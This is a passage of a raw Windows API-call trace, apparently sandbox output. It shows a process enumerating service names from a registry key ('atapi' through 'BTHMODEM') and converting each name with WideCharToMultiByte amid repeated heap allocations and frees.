RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0259.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0259.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0259.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0259.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1bf8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0259.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0259.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0259.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0259.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0259.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0259.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0259.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0259.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0259.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0259.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0259.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0259.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0259.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0259.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0259.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0259.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0259.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0259.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0259.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0259.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0259.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0259.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0259.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0259.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0259.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0259.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0259.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0259.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0259.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0259.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0259.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0259.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0259.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0259.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0259.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0259.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0259.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0259.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", 